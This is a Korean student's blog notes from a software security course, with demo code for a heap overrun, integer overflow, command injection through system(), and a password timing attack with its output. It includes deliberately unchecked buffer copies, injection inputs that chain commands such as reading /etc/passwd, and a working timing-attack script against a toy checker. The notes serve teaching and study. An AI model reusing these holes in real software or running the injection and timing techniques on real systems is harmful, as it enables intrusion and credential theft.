Software Security 3/5

오늘은 Heap overruns 부터 시작하는구나.

C에서도 사용되고 C++ ( OOP ) 에서도 적용된다고 한다.

//C

static char buf[16];

int (*func)(int);

//C++

#include <iostream>

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

using std::cout;

using std::cin;

using std::endl;

using std::hex;

using std::dec;

class vulnerablity {

public:

vulnerablity() { }

virtual ~vulnerablity() {}

public:

virtual void print_hello();

};

void vulnerablity::print_hello()

{

cout << "vulnerablity::print_hello" << endl;

}

class vulnerablity_demo : public vulnerablity {

public :

char buf[16];

public:

vulnerablity_demo() { }

virtual ~vulnerablity_demo() {}

public:

virtual void print_hello();

virtual void fill_buf(char * arg) = 0;

};

void vulnerablity_demo::print_hello()

{

cout << "vulnerablity_demo::print_hello" << endl;

}

class heap_vulnerablity_demo : public vulnerablity_demo {

public:

heap_vulnerablity_demo() {}

virtual ~heap_vulnerablity_demo() {}

public :

virtual void print_hello();

virtual void fill_buf(char * arg);

};

void heap_vulnerablity_demo::print_hello()

{

cout << "heap_vulnerablity_demo::print_hello" << endl;

}

void heap_vulnerablity_demo::fill_buf(char * arg )

{

int i = 0;

while( * arg ) buf[ i++ ] = *arg++;

}

void crash()

{

cout << "KKKKK crash~ " << endl;

}

int main( int argc, char* argv[] )

{

// int (*func)();

// func = (int (*)()) (void *) 0x11111111;

//

// cout << "exit" << endl;

// func();

cout << " sizeof( vulnerabilitity ) " << sizeof( vulnerablity ) << endl;

cout << " sizeof( vulnerabilitity_demo ) " << sizeof( vulnerablity_demo ) << endl;

cout << " sizeof( heap_vulnerabilitity_demo ) " << sizeof( heap_vulnerablity_demo ) << endl;

if( argc > 1 )

{

heap_vulnerablity_demo* p_hvd = new heap_vulnerablity_demo[ 4 ];

// cout << &heap_vulnerablity_demo::print_hello << endl;

// cout << &vulnerablity_demo::print_hello << endl;

cout << "sizeof " << sizeof( p_hvd[ 0 ] ) << endl;

cout << "heap before:" << endl;

for( int i = 0; i < sizeof( p_hvd[ 0 ] ); i++){

printf( "%p -- %8x\n", &p_hvd[ 0 ].buf[i], p_hvd[ 0 ].buf[i]);

}

p_hvd[ 0 ].fill_buf( argv [ 1 ] );

cout << "heap after:" << endl;

for( int i = 0; i < sizeof( p_hvd[ 0 ] ); i++){

printf( "%p -- %8x\n", &p_hvd[ 0 ].buf[i], p_hvd[ 0 ].buf[i]);

}

printf( "heapfunc %p \n", crash );

vulnerablity* p_vuln = &p_hvd[ 3 ];

p_vuln->print_hello();

delete[] p_hvd;

}

return 0;

}

그 다음으로 Integer overflow에 대해서 설명해주는데.

signed, unsigned에 대한 차이와 char, short, int, long, long long에 대해 설명해준다.

숫자의 크기가 커질 때, (un)signed일 때 값이 변하는 것과 type( char, short, ... ) 이 변형될 때, 값이 변하는 내용에 대해 설명해 준다. 여기에서 저장장치에는 물리적으로 비트 값만 저장하고 소프트웨어에서 그 비트 값을 논리적으로 사용한다는 것을 이해하고 들으니 좀 더 나은 것 같다. 이 부분에 대한 이해가 없으면 아마 힘들 듯... 

( 무슨 말이냐면, 0x1110과 0x0001이 있을 때, 이 것을 signed인지 unsigned인지 어떻게 판단되어 지고 기록되는지 아는가? 또는 그것을 어떻게 제어하는가? 우리가 판단하고 사용하는게 아니라 컴퓨터의 입장에서 질문이다. 여기서 접근하면 좋겠다. )

스트링 공격

명령어 인젝션으로 지정되어 있는 명령어 다음으로 다른 부분을 실행할 수 있다. 아래처럼 확인해볼 수도 있고 해당 정보를 볼수도 있다.

./cmd_pr .;touch wowfile;ls -al .

./cmd_pr /etc/passwd;cat /etc/passwd

#include <string>

#include <stdlib.h>

using std::string;

int main(int argc, char *argv[]) {

if ( argc > 1 )

{

string path, cmd = "ls -l ";

path = argv[ 1 ];

cmd += path;

system( cmd.c_str() );

}

return 0;

}

timing attack 에 관한 내용이다.

와.. 이게 되다니.. 신기하다~ 생각보다 간단한 개념인데 처음이라 .. 개념이해하는데 헛시간 다보냄 ㅠ.ㅠ

개념은.. 패스워드 한자리 씩 어택해서 시간차를 이용해 패스워드를 알아내는 방법이다.

빅인티저 처리하는 거처럼 한자리 씩 올려가면서 하는게 아니였다.

false를 리턴하는건 빠르다. true 찾는데 시간이 오래 걸린다. 거기에서 출발한 어택 방법이다.

즉, 첫자리 찾는데 가장 오래 걸린 걸 찾은 다음, 그 다음 자리에 맞는 걸 찾는다. 만약에 그 다음 자리를 넘어갈 때, 기존에 맞춘 부분이 틀린 값으로 있으면 안된다. 이유는 첫째자리가 틀리는데, 다음자릴 찾을까? 무슨 의미인지는 코드를 보면 알수 있다. 맞았던 부분에 대해 처리해 주지 않으면, 첫자리 이외에는 전부 다른 값이 나오게 된다.

progress : 0 / 16 **** current result : 1 ( 76.008 ms. )

progress : 1 / 16 **** current result : 12 ( 106.48 ms. )

progress : 2 / 16 **** current result : 123 ( 138.585 ms. )

progress : 3 / 16 **** current result : 1234 ( 169.128 ms. )

progress : 4 / 16 **** current result : 12345 ( 194.094 ms. )

progress : 5 / 16 **** current result : 123456 ( 228.883 ms. )

progress : 6 / 16 **** current result : 1234567 ( 261.99 ms. )

progress : 7 / 16 **** current result : 12345678 ( 521.829 ms. )

progress : 8 / 16 **** current result : 12345678$ ( 296.044 ms. )

progress : 9 / 16 **** current result : 12345678$? ( 340.621 ms. )

progress : 10 / 16 **** current result : 12345678$?< ( 294.552 ms. )

progress : 11 / 16 **** current result : 12345678$?<> ( 419.216 ms. )

progress : 12 / 16 **** current result : 12345678$?<>: ( 429.431 ms. )

progress : 13 / 16 **** current result : 12345678$?<>:= ( 305.103 ms. )

progress : 14 / 16 **** current result : 12345678$?<>:=? ( 306.509 ms. )

progress : 15 / 16 **** current result : 12345678$?<>:=?4 ( 294.769 ms. )

 final result : 12345678$?<>:=?4

progress : 0 / 16 **** current result : 1 ( 75.473 ms. )

progress : 1 / 16 **** current result : 1- ( 56.827 ms. )

progress : 2 / 16 **** current result : 1-! ( 55.978 ms. )

progress : 3 / 16 **** current result : 1-!H ( 56.353 ms. )

progress : 4 / 16 **** current result : 1-!HJ ( 57.426 ms. )

progress : 5 / 16 **** current result : 1-!HJ* ( 56.957 ms. )

progress : 6 / 16 **** current result : 1-!HJ*@ ( 57.393 ms. )

progress : 7 / 16 **** current result : 1-!HJ*@6 ( 56.342 ms. )

progress : 8 / 16 **** current result : 1-!HJ*@6R ( 56.47 ms. )

progress : 9 / 16 **** current result : 1-!HJ*@6R7 ( 57.298 ms. )

progress : 10 / 16 **** current result : 1-!HJ*@6R7C ( 65.956 ms. )

progress : 11 / 16 **** current result : 1-!HJ*@6R7CW ( 57.063 ms. )

progress : 12 / 16 **** current result : 1-!HJ*@6R7CW* ( 56.735 ms. )

progress : 13 / 16 **** current result : 1-!HJ*@6R7CW*" ( 56.261 ms. )

progress : 14 / 16 **** current result : 1-!HJ*@6R7CW*"X ( 56.247 ms. )

progress : 15 / 16 **** current result : 1-!HJ*@6R7CW*"XF ( 56.341 ms. )

 final result : 1-!HJ*@6R7CW*"XF

////////////////////////////////////////

#include <iostream>

#include <sys/time.h>                // for gettimeofday()

// QueryPerformanceCounter and QueryPerformanceFrequency for Windows

using namespace std;

const int passlen = 16;

const int nr_of_requests = 10000000;

const char first_symbol = '!';

const char last_symbol  = 'Z';

char given[ passlen ] = "!";

char correct[ passlen ] = "12345678";

char result[ passlen ] = "!";

double result_ms[ passlen ] = { 0, };

int check_hash(char *given)

{

for(int i = 0; i < 16; i++)

{

if ( given[ i ] != correct[ i ] ) return 0;

}

return 1;

}

int check_hash_time_independent(char *given)

{

int result = 0;

for(int i = 0; i < 16; i++)

{

result |= ( given[ i ] ^ correct[ i ] );

}

return !result;

}

int check_pass_many_times(char *given)

{

for(int i = 0; i < nr_of_requests; i++)

{

check_hash( given );

// check_hash_time_independent( given );

}

return 0;

}

int print_the_first_letter_stat( int posIndex )

{

char letter = 0;

    timeval t1, t2;

    double slowestelapsedTime = 0.0;

    double elapsedTime = slowestelapsedTime;

    for( int clr = 0; clr < posIndex; clr++ )

    {

    given[ clr ] = result[ clr ];

    }

for(int i = first_symbol; i <= last_symbol; i++)

{

given[ posIndex ] = i;

   gettimeofday(&t1, NULL);

   check_pass_many_times(given);

   gettimeofday(&t2, NULL);

   elapsedTime = (t2.tv_sec - t1.tv_sec) * 1000.0;      // sec to ms

   elapsedTime += (t2.tv_usec - t1.tv_usec) / 1000.0;   // us to ms

   if( slowestelapsedTime < elapsedTime )

   {

    slowestelapsedTime = elapsedTime;

    result[ posIndex ] = i;

    result_ms[ posIndex ] = slowestelapsedTime;

//     for( int space = 0; space < posIndex; space++ ) cout << " ";

// cout << (char) i   << " --- "  << elapsedTime << " ms.\n";

   }

}

return 0;

}

int main()

{

// sleep( 1 );

for( int i = 0; i < passlen; i++ ) {

print_the_first_letter_stat( i );

cout << "progress : " << i << " / " << passlen ;

cout << " **** current result : " << result << " ( " << result_ms[i] << " ms. )" << endl;

}

cout << "\n\n final result : " << result << endl;

    return 0;

}